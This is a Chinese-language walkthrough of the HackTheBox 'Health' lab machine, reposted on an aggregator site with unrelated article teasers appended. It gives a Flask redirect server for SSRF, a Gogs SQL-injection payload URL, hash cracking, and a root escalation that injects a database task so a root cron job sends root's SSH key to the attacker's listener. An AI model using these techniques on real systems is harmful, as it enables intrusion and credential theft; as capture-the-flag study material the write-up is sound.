HackTheBox - Medium - Linux - Health

Health

Health 是一台中型 Linux 计算机,在主网页上存在 SSRF 漏洞,可利用该漏洞访问仅在 localhost 上可用的服务。更具体地说,Gogs 实例只能通过 localhost 访问,并且此特定版本容易受到 SQL 注入攻击。由于攻击者可以与 Gogs 实例交互的方式,在这种情况下,最好的方法是通过在本地计算机上安装相同的 Gogs 版本,然后使用自动化工具生成有效的有效负载来复制远程环境。在检索用户“susanne”的哈希密码后,攻击者能够破解哈希并泄露该用户的纯文本密码。可以使用相同的凭据通过 SSH 向远程计算机进行身份验证。权限提升依赖于在用户“root”下运行的 cron 作业。这些 cron 作业与主 Web 应用程序的功能相关,并处理数据库中未经筛选的数据。因此,攻击者能够在数据库中注入恶意任务并泄露用户“root”的 SSH 密钥文件,从而允许他在远程计算机上获得 root 会话。


外部信息收集

端口扫描

循例nmap

file

Web枚举

file

看起来就觉得可能存在SSRF,扫一下vhost

file

还有过滤

file

test

file

监听url会有一个get请求,当我断开nc之后,payload url又来了一个post

file

本地起个http server,当监听url访问过来的时候重定向到localhost

from flask import Flask, redirectapp = Flask(__name__)@app.route('/')
def index():return redirect('http://127.0.0.1')if __name__ == '__main__':app.run(host="0.0.0.0", port=8001)

这里一定要是always,否则payload url可能收不到post请求

file

可以看到响应,说明重定向成功了

file

接下来就可以爆破端口,找到内网的服务,为了方便直接wp跳过这些无聊的环节

3000端口有一个gogs

file

Foothold

谷歌能找到该版本似乎存在sql injection

file

poc:

http://127.0.0.1:3000/api/v1/users/search?q=')%09union%09all%09select%091,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27%09--%09-

file

查数据

file

得到susanne的密码hash

file

在谷歌中能搜到gogs使用PBKDF2 + hmac + sha256

https://github.com/kxcode/KrackerGo/tree/master

这里也描述了如何利用它

将16进制转回去如何base64

file

将salt base64

file

hashcat

file

不出意外我们能够通过这种凭据登录ssh

file

本地权限提升

传个pspy

2024/01/17 15:29:01 CMD: UID=0     PID=4350   | /bin/bash -c cd /var/www/html && php artisan schedule:run >> /dev/null 2>&1 
2024/01/17 15:29:01 CMD: UID=0     PID=4351   | sleep 5 
2024/01/17 15:29:01 CMD: UID=???   PID=4354   | ???
2024/01/17 15:29:01 CMD: UID=0     PID=4352   | 
2024/01/17 15:29:01 CMD: UID=0     PID=4357   | grep columns 
2024/01/17 15:29:01 CMD: UID=???   PID=4356   | ???
2024/01/17 15:29:01 CMD: UID=0     PID=4355   | sh -c stty -a | grep columns 
2024/01/17 15:29:06 CMD: UID=0     PID=4358   | mysql laravel --execute TRUNCATE tasks 

从artisan跟到app/Console/Kernel.php

protected function schedule(Schedule $schedule){/* Get all tasks from the database */$tasks = Task::all();foreach ($tasks as $task) {$frequency = $task->frequency;$schedule->call(function () use ($task) {/*  Run your task here */HealthChecker::check($task->webhookUrl, $task->monitoredUrl, $task->onlyError);Log::info($task->id . ' ' . \Carbon\Carbon::now());})->cron($frequency);

同时,在网站根目录下的.env文件中也包含了mysql的凭据

file

进到mysql后有个tasks空表,desc

file

应该就是之前的web,直接读root ssh key然后返回到我们的payload url

file

nc

file

sed将\n转义和去除多余的\

file

登root的ssh

file

file

其实也可以直接在tasks里读root flag

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/417675.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

PyTorch 内 LibTorch/TorchScript 的使用

PyTorch 内 LibTorch/TorchScript 的使用 1. .pt .pth .bin .onnx 格式1.1 模型的保存与加载到底在做什么?1.2 为什么要约定格式?1.3 格式汇总1.3.1 .pt .pth 格式1.3.2 .bin 格式1.3.3 直接保存完整模型1.3.4 .onnx 格式1.3.5 jit.trace1.3.6 jit.scrip…

AtCoder Regular Contest 115 E. LEQ and NEQ(容斥 单调栈优化dp)

题目 n(n<5e5)个数&#xff0c;第i个数ai(1<ai<1e9) 构造一个序列b&#xff0c;要求bi∈[1,ai]&#xff0c;且b[i]不等于b[i1] 求方案数&#xff0c;答案对998244353取模 思路来源 洛谷题解Xu_brezza 一模一样的cf题&#xff1a; Codeforces Round 759 (Div. 2…

解析智能酒精壁炉不完全燃烧的成因及潜在问题

解析智能酒精壁炉不完全燃烧的成因及潜在问题 智能酒精壁炉作为一种环保、高效、现代化的取暖工具&#xff0c;其采用酒精作为燃料进行燃烧&#xff0c;但在一些情况下&#xff0c;可能会出现酒精燃烧不完全的问题。下面将深入探讨这一现象的成因以及可能引发的问题。 成因分析…

php isset和array_key_exists区别

在PHP中&#xff0c;可以使用array_key_exists函数或者isset函数来判断一个字典&#xff08;关联数组&#xff09;中是否存在某个下标。 使用 array_key_exists 函数: $myArray array("key1" > "value1", "key2" > "value2",…

基于动态顺序表实现通讯录项目

本文中&#xff0c;我们将使用顺序表的结构来完成通讯录的实现。 我们都知道&#xff0c;顺序表实际上就是一个数组。而使用顺序表来实现通讯录&#xff0c;其内核是将顺序表中存放的数据类型改为结构体&#xff0c;将联系人的信息存放到结构体中&#xff0c;通过对顺序表的操…

【数据结构与算法】1.时间复杂度和空间复杂度

&#x1f4da;博客主页&#xff1a;爱敲代码的小杨. ✨专栏&#xff1a;《Java SE语法》 ❤️感谢大家点赞&#x1f44d;&#x1f3fb;收藏⭐评论✍&#x1f3fb;&#xff0c;您的三连就是我持续更新的动力❤️ &#x1f64f;小杨水平有限&#xff0c;欢迎各位大佬指点&…

架构的演进

1.1单体架构 单体架构也称之为单体系统或者是单体应用。就是一种把系统中所有的功能、模块耦合在一个应用中的架构方式。 存在的问题&#xff1a; 代码耦合&#xff1a;模块的边界模糊、依赖关系不清晰&#xff0c;整个项目非常复杂&#xff0c;每次修改代码都心惊胆战迭代困…

linux基础学习(5):yum

yum是为了解决rpm包安装依赖性而产生的一种安装工具 1.yum源 1.1配置文件位置 yum源的配置文件在/etc/yum.repos.d/中 *Base源是网络yum源&#xff0c;也就是需要联网才能使用的yum源。默认情况下&#xff0c;系统会使用Base源 *Media源是光盘yum源&#xff0c;是本地yum源…

论文阅读笔记AI篇 —— Transformer模型理论+实战 (三)

论文阅读笔记AI篇 —— Transformer模型理论实战 &#xff08;三&#xff09; 第三遍阅读&#xff08;精读&#xff09;3.1 Attention和Self-Attention的区别&#xff1f;3.2 Transformer是如何进行堆叠的&#xff1f;3.3 如何理解Positional Encoding&#xff1f;3.x 文章涉及…

【数据结构】详谈队列的顺序存储及C语言实现

循环队列及其基本操作的C语言实现 前言一、队列的顺序存储1.1 队尾指针与队头指针1.2 基本操作实现的底层逻辑1.2.1 队列的创建与销毁1.2.2 队列的增加与删除1.2.3 队列的判空与判满1.2.4 逻辑的局限性 二、循环队列2.1 循环队列的实现逻辑一2.2 循环队列的实现逻辑二2.3 循环队…

CodeReview 小工具

大家开发中有没有遇到一个版本开发的非常杂&#xff0c;开发很多个项目&#xff0c;改动几周后甚至已经忘了自己改了些什么&#xff0c;领导要对代码review的时候&#xff0c;理不清楚自己改过的代码&#xff0c;只能将主要改动的大功能过一遍。这样就很容易造成review遗漏&…

软件测试(一)

软件测试——测试用例 &#x1f3d0;测试用例要素&#xff08;四个重要的要素&#xff09;&#x1f3d0;测试用例的设计方法&#x1f3c0;基于需求的设计方法&#x1f3c0;等价类&#x1f3c0;边界值&#x1f3c0;判定表&#x1f3c0;正交表法&#x1f3c0;场景设计法&#x1f…